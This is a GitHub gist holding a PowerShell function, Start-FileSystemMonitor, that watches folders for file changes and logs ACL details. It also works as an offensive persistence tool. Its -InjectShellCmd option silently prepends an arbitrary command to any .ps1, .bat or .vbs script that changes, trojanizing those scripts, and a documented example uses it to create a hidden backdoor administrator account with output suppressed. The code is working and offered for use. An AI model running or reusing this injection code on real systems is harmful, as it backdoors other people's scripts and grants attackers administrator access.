Skip to content

Instantly share code, notes, and snippets.

@HarmJ0y
Last active September 12, 2022 01:45
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save HarmJ0y/4034d935a3386b96f3ac to your computer and use it in GitHub Desktop.
Save HarmJ0y/4034d935a3386b96f3ac to your computer and use it in GitHub Desktop.
Start-FileSystemMonitor
Function Start-FileSystemMonitor {
<#
.SYNOPSIS
This function will monitor one or more file paths for any file
creation, deletion, modification, or renaming events. Data including
the change type, ACL for the file, etc. is output to the screen or
a specified -LogFile.
If -InjectShellCmd is specified, the given command is inserted into
the top of any .ps1, .bat, or .vbs files that match the given event.
Based off of/heavily adapted from Boe Prox's code at:
https://mcpmag.com/articles/2015/09/24/changes-to-a-folder-using-powershell.aspx
Author: @harmj0y, Boe Prox (@proxb)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER Path
Array of paths to monitor for file changes. Defaults to C:\Temp\ and %TEMP%.
.PARAMETER EventName
File events to monitor for ('Changed','Created','Deleted','Renamed'). Defaults to all.
.PARAMETER Filter
Optional singe-file filter pattern to monitor for, form of "file*.ext".
.PARAMETER Recurse
Switch. Recurse on subdirectories for monitoring.
.PARAMETER LogFile
Log file to output monitor data to, otherwise uses Write-Host to
print to screen.
.PARAMETER InjectShellCmd
Shell command to inject into any .ps1, .bat, or .vbs scripts.
.PARAMETER InjectShellCmdMarker
The first line marker inserted into any trojanized scripts to
prevent infinite recursion. Defaults to 'MonitorDebug'.
.PARAMETER SuppressOutput
Switch. Suppress all screen/log output. Only useful in combination with -InjectShellCmd.
.PARAMETER StopMonitor
Switch. Stop all file system monitors.
.EXAMPLE
PS C:\> Start-FileSystemMonitor -LogFile C:\Temp\log.csv
Monitor C:\Temp\ and %TEMP% (the defaults) for any modifications and output to C:\Temp\log.csv
.EXAMPLE
PS C:\> Start-FileSystemMonitor -Path C:\Custom\ -InjectShellCmd 'net user blah Password123! /add&&net localgroup administrators blah /add' -SuppressOutput
Monitor C:\Custom\ for any modifications and backdoor any .ps1/.bat/.vbs files with
a command to add a backdoor administrator, suppressing any output.
.EXAMPLE
PS C:\> Start-FileSystemMonitor -StopMonitor
Stop all file system monitoring.
.LINK
https://mcpmag.com/articles/2015/09/24/changes-to-a-folder-using-powershell.aspx
#>
[CmdletBinding()]
Param (
[Parameter(ValueFromPipeline=$True)]
[ValidateScript({Test-Path -Path $_ })]
[String[]]
$Path = @('C:\Temp\', $Env:Temp),
[ValidateSet('Changed','Created','Deleted','Renamed')]
[String[]]
$EventName,
[String]
$Filter,
[Switch]
$Recurse,
[String]
$LogFile,
[String]
$InjectShellCmd,
[String]
$InjectShellCmdMarker = 'MonitorDebug',
[Switch]
$SuppressOutput,
[Switch]
$StopMonitor
)
process {
if ($PSBoundParameters.ContainsKey('StopMonitor')) {
Get-EventSubscriber | Unregister-Event
Write-Output "All EventSubscribers unregistered"
return
}
# ensure all folders we're monitoring actually exist
$Path = $Path | Where-Object { Test-Path -Path $_ -PathType Container }
ForEach($MonitorPath in $Path) {
$FileSystemWatcher = New-Object System.IO.FileSystemWatcher
$FileSystemWatcher.Path = $MonitorPath
if ($PSBoundParameters.ContainsKey('Filter')) {
$FileSystemWatcher.Filter = $Filter
}
if ($PSBoundParameters.ContainsKey('Recurse')) {
$FileSystemWatcher.IncludeSubdirectories = $True
}
if (-Not $PSBoundParameters.ContainsKey('EventName')){
$EventName = 'Changed','Created','Deleted','Renamed'
}
# the script block base used to monitor file changes and hijack scripts
$ActionString = @"
`$File = New-Object PSObject
`$LogFile = "$LogFile"
`$InjectShellCmd = "$InjectShellCmd"
`$SuppressOutput = `$$SuppressOutput
function Inject-Cmd {
param(`$Path)
try {
`$Ext = `$Path.split('.')[-1]
`$Begin = Get-Content `$Path -TotalCount 10
`$Cmd = Switch (`$Ext) {
'vbs' {
@("$InjectShellCmdMarker", "``nCreateObject('Wscript.Shell').Run('$InjectShellCmd')``n")
}
'bat' {
@("REM $InjectShellCmdMarker", "``n$InjectShellCmd``n")
}
'ps1' {
@("#$InjectShellCmdMarker", "``n$InjectShellCmd``n")
}
Default {}
}
if(`$Cmd -and (`$Cmd -ne '') -and (`$(`$Begin -join "``n") -notmatch `$Cmd[0])) {
# prepend the inject command
Set-Content -Path `$Path -Value `$Cmd[0], `$Cmd[1], `$(Get-Content -Path `$Path)
}
}
catch {}
}
Switch (`$Event.SourceEventArgs.ChangeType) {
'Renamed' {
`$Acl = Get-ACL `$Event.SourceArgs[-1].FullPath
if(`$InjectShellCmd) {
Inject-Cmd `$Event.SourceArgs[-1].FullPath
}
if(-not `$SuppressOutput) {
`$File | Add-Member Noteproperty 'FullPath' `$Event.SourceArgs[-1].OldFullPath
`$File | Add-Member Noteproperty 'ChangeType' `$Event.SourceEventArgs.ChangeType
`$File | Add-Member Noteproperty 'RenamedPath' `$Event.SourceArgs[-1].FullPath
`$File | Add-Member Noteproperty 'TimeStamp' `$Event.TimeGenerated
`$File | Add-Member Noteproperty 'Owner' `$Acl.Owner
`$File | Add-Member Noteproperty 'OwnerGroup' `$Acl.Group
`$File | Add-Member Noteproperty 'ACL' `$((`$Acl.AccessToString -split "`n") -join "|")
}
}
Default {
`$Acl = Get-ACL `$Event.SourceEventArgs.FullPath
if(`$InjectShellCmd -and (`$Event.SourceEventArgs.ChangeType -ne 'Deleted')) {
Inject-Cmd `$Event.SourceEventArgs.FullPath
}
if(-not `$SuppressOutput) {
`$File | Add-Member Noteproperty 'FullPath' `$Event.SourceEventArgs.FullPath
`$File | Add-Member Noteproperty 'ChangeType' `$Event.SourceEventArgs.ChangeType
`$File | Add-Member Noteproperty 'RenamedPath' ''
`$File | Add-Member Noteproperty 'TimeStamp' `$Event.TimeGenerated
`$File | Add-Member Noteproperty 'Owner' `$Acl.Owner
`$File | Add-Member Noteproperty 'OwnerGroup' `$Acl.Group
`$File | Add-Member Noteproperty 'ACL' `$((`$Acl.AccessToString -split "`n") -join "|")
}
}
}
if(-not `$SuppressOutput) {
if(`$LogFile) {
if(`$File.FullPath -ne `$LogFile) {
`$File | Export-Csv -NoTypeInformation `$LogFile
}
}
else {
Write-Host `$File
}
}
"@
$Action = [ScriptBlock]::Create($ActionString)
$ObjectEventParams = @{
InputObject = $FileSystemWatcher
Action = $Action
}
ForEach ($Item in $EventName) {
$ObjectEventParams.EventName = $Item
$ObjectEventParams.SourceIdentifier = "File.$($Item)"
Write-Verbose "Starting watcher for event '$($Item)' in path '$MonitorPath'"
$Null = Register-ObjectEvent @ObjectEventParams
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment